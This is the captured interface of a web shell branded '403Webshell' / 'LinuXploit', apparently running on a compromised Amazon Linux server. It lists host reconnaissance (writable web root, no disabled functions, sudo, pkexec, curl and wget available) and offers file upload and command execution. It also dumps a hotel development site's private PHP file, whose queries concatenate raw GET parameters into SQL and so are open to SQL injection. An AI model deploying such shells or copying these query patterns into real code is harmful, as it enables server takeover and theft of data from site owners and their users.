403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/mod/event_ajax.php
<?php 
	use classes\lib\CGRewards;

	include('_mod_security.php');

	session_start();
	try 
	{
		$db->query("BEGIN");
		if ($_GET['function'] == 'concierge') :
			//$sql = "DELETE FROM events_concierges WHERE event_id = ".nz(trim($_GET['eid']),'0')." AND concierge_id = ".nz(trim($_GET['cid']),'0')." ";
			//$db->query($sql);
			if (isset($_GET['rsvp_1']) || isset($_GET['conf_1']) || isset($_GET['cancel_1']) || isset($_GET['attended_1']) || isset($_GET['wait_1']) || 
				isset($_GET['rsvp_2']) || isset($_GET['conf_2']) || isset($_GET['cancel_2']) || isset($_GET['attended_2']) || isset($_GET['wait_2']) ) :
				$set = 	"rsvp_1 = ".nz(trim($_GET['rsvp_1']),'0').", ".
						"conf_1 = ".nz(trim($_GET['conf_1']),'0').", ".
						"cancel_1 = ".nz(trim($_GET['cancel_1']),'0').", ".
						"attended_1 = ".nz(trim($_GET['attended_1']),'0').", ".
						"wait_1 = ".nz(trim($_GET['wait_1']),'0').", ".
						"rsvp_2 = ".nz(trim($_GET['rsvp_2']),'0').", ".
						"conf_2 = ".nz(trim($_GET['conf_2']),'0').", ".
						"cancel_2 = ".nz(trim($_GET['cancel_2']),'0').", ".
						"attended_2 = ".nz(trim($_GET['attended_2']),'0').", ".
						"wait_2 = ".nz(trim($_GET['wait_2']),'0').", ".
						"nbr_of_guests = ".nz(trim($_GET['nbr_of_guests']),'NULL').", ".
						"guest_name = ".$db->quote(trim($_GET['guest_name']))." ";

				$sql = "INSERT INTO events_concierges SET ".
						"event_id = ".nz(trim($_GET['eid']),'0').", ".
						"concierge_id = ".nz(trim($_GET['cid']),'0').", ".
						$set.
						" ON DUPLICATE KEY UPDATE ".$set;
				$db->query($sql);
			endif;
			$sql = "SELECT SUM(nbr_of_guests) as gsum FROM events_concierges ec WHERE ec.event_id = ".nz(trim($_GET['eid']),'0')." ";
			$result = $db->query($sql);
			if ($row = $result->fetch(PDO::FETCH_OBJ)) :
				echo 'Total Guests: '.number_format($row->gsum, 0, '.', ',');
			endif;
		elseif ($_GET['function'] == 'guest') :
			//$sql = "DELETE FROM events_guests WHERE event_id = ".nz(trim($_GET['eid']),'0')." AND guest_id = ".nz(trim($_GET['gid']),'0')." ";
			//$db->query($sql);
			if (isset($_GET['rsvp_1']) || isset($_GET['conf_1']) || isset($_GET['cancel_1']) || isset($_GET['attended_1']) || isset($_GET['wait_1']) || 
				isset($_GET['rsvp_2']) || isset($_GET['conf_2']) || isset($_GET['cancel_2']) || isset($_GET['attended_2']) || isset($_GET['wait_2']) ) :
				$set = 	"rsvp_1 = ".nz(trim($_GET['rsvp_1']),'0').", ".
						"conf_1 = ".nz(trim($_GET['conf_1']),'0').", ".
						"cancel_1 = ".nz(trim($_GET['cancel_1']),'0').", ".
						"attended_1 = ".nz(trim($_GET['attended_1']),'0').", ".
						"wait_1 = ".nz(trim($_GET['wait_1']),'0').", ".
						"rsvp_2 = ".nz(trim($_GET['rsvp_2']),'0').", ".
						"conf_2 = ".nz(trim($_GET['conf_2']),'0').", ".
						"cancel_2 = ".nz(trim($_GET['cancel_2']),'0').", ".
						"attended_2 = ".nz(trim($_GET['attended_2']),'0').", ".
						"wait_2 = ".nz(trim($_GET['wait_2']),'0').", ".
						"invitor = ".$db->quote(trim($_GET['invitor'])).", ".
						"nbr_of_guests = ".nz(trim($_GET['nbr_of_guests']),'NULL').", ".
						"guest_name = ".$db->quote(trim($_GET['guest_name']))." ";

				$sql = "INSERT INTO events_guests SET ".
						"event_id = ".nz(trim($_GET['eid']),'0').", ".
						"guest_id = ".nz(trim($_GET['gid']),'0').", ".
						$set.
						" ON DUPLICATE KEY UPDATE ".$set;
				$db->query($sql);
			endif;
			$sql = "SELECT SUM(nbr_of_guests) as gsum FROM events_guests eg WHERE eg.event_id = ".nz(trim($_GET['eid']),'0')." ";
			$result = $db->query($sql);
			if ($row = $result->fetch(PDO::FETCH_OBJ)) :
				echo 'Total Guests: '.number_format($row->gsum, 0, '.', ',');
			endif;
		elseif ($_GET['function'] == 'apply_cg_rewards') :
			CGRewards::apply_rewards_to_event(nz($_GET['event_id'], '0'));
			echo json_encode(['status' => 'success']);
		endif;
		$db->query("COMMIT");
	}
	catch (Exception $e)
	{
		echo 'error';
		$db->query("ROLLBACK");
	}

Youez - 2016 - github.com/yon3zu
LinuXploit